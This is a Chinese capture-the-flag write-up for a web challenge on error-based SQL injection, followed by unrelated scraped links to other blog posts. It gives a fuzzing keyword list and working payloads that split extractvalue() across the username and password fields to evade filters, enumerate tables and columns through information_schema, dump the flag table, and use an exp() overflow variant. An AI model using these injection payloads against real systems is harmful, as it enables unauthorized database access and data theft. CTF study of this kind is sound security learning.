题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询

测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字

被屏蔽了

burp抓包并send to intruder

分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact

fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下

and
or
=
>
<
(
)
()
'
"
regexp
substr
mid
left
join
rigth
like
select
from
union
,
updatexml
extractvalue
exp
char
ascii
insert
into
delete
update
alter
create
where
/*
*/
--
--
#
all
distinct
not
as
order
by
desc
asc
having
floor
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon

最后得出username处屏蔽了括号,=,substr 等等关键字

而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等

似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下

username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '

后台的查询语句就为

select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

去掉注释即为

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

然后猜解表名,因为password屏蔽了=,所以用regexp

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

猜解列名

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

猜解字段

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()

详见http://netsecurity.51cto.com/art/201508/489529.htm

所以构造

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

实验吧——加了料的报错注入(exp报错注入)的更多相关文章

  1. 关于Spring3报org.aopalliance.intercept.MethodInterceptor错的问题解决方法_JavaLeader_新浪博客

    body { font-family: "Microsoft YaHei UI","Microsoft YaHei",SimSun,"Segoe UI ...

  2. 两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错

    遇到了两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错 首先第一个: 在做一个用ajax图片上传的功能中,php报了这样一个错误:File upload error - u ...

  3. maven项目检出后报错(包括编译报错和运行报错)的常见检查处理方式

    maven项目检出后报错(包括编译报错和运行报错)的常见检查处理方式: 1.更改项目的jdk为我们安装的jdk2.更改build配置里的 output folder 目录为 xxx项目名/target ...

  4. idea的service注入mapper报错

    一.问题 idea的java项目中,service类中注入mapper报错 二.解决 方法1 在mapper类上加上  @Repository 注解即可,当然不加也行,程序也不回报错,是idea的误报 ...

  5. vue router引入路由与路由配置容易犯错的地方与常见的报错与处理报错

    首先npm安装vue-router插件,就不说了其次: 先看下我本地的目录结构吧 第一步:在src目录下新建一个专门存放router的index.js文件里面的内容为: import Vue from ...

  6. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  7. sql注入之报错注入and boolean注入

    1.sql注入之报错注入 正常传参,返回页面正常: 加入'  返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...

  8. a += 20 和 a = a+20前者不报错,后者报错的原因

    我们在使用a += 20 和 a = a+20两种不同方式的赋值运算是发现尽然前者不报错,后者报错 代码示例: shot s = 5; s += 5; s = s+5; 很明显我们可以看出s = s+ ...

  9. Mssql显错和不显错模式下的注入

    Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...

随机推荐

  1. 11-numpy笔记-莫烦基础操作1

    代码 import numpy as np array = np.array([[1,2,5],[3,4,6]]) print('-1-') print('数组维度', array.ndim) pri ...

  2. CBV和FBV用户认证装饰器

    FBV装饰器用户验证 CBV装饰器用户验证 装饰器位置 或 或

  3. Spring Boot 2.x 已经发布了很久,现在 Spring Cloud 也发布了 基于 Spring Boot 2.x 的 Finchley 版本,现在一起为项目做一次整体框架升级。

    升级前 => 升级后 Spring Boot 1.5.x => Spring Boot 2.0.2 Spring Cloud Edgware SR4 => Spring Cloud ...

  4. ASP.NET CoreMVC 中的控制器

    Controller in ASP.NET Core MVC 在本节中,我们将讨论 Controller 是什么以及它在 ASP.NET Core MVC 中的作用. Fiddler 需要大家提前装一 ...

  5. B1023 组个最小数 (20 分)

    一.技术总结 这一题主要的处理点是数字0别在第一个位置输出,这里提供两种解决思路. 一个是直接在一个for循环里面只要输出了一个位置后直接判断,是否了0的数字可以输出. 还有一个就是直接for循环一次 ...

  6. ORACLE 10g 升级 11g问题汇总(转载文)

    按照计划开始了生产库的升级,环境基于linux 64位. uname: Linux 2.6.18-308.el5 #1 SMP Fri Jan 27 17:17:51 EST 2012 x86_64 ...

  7. Oracle 11g的一些常用语句记录

    一.表空间 1.创建临时表空间: create temporary tablespace project_temp tempfile 'D:\Oracle\dataspace\project_temp ...

  8. Netty FixedChannelPool

    如今越来越多的应用采用Netty作为服务端高性能异步通讯框架,对于客户端而言,大部分需求只需和服务端建立一条链接收发消息.但如果客户端需要和服务端建立多条链接的例子就比较少了. 最简单的实现就是一个f ...

  9. SpringBoot第十三篇:日志处理

    作者:追梦1819 原文:https://www.cnblogs.com/yanfei1819/p/10973583.html 版权声明:本文为博主原创文章,转载请附上博文链接! 引言   日志是软件 ...

  10. java中的对象、类、包、模块、组件、容器、框架、架构的概念入门

    在Java中有那么一些概念:对象.类.包.模块.组件.容器.框架.这些概念都有一个共同的特点,就是[容纳]. 对象(Object) 在Java的世界里,对象是通过属性和方法来分别对应事务所具有的静态属 ...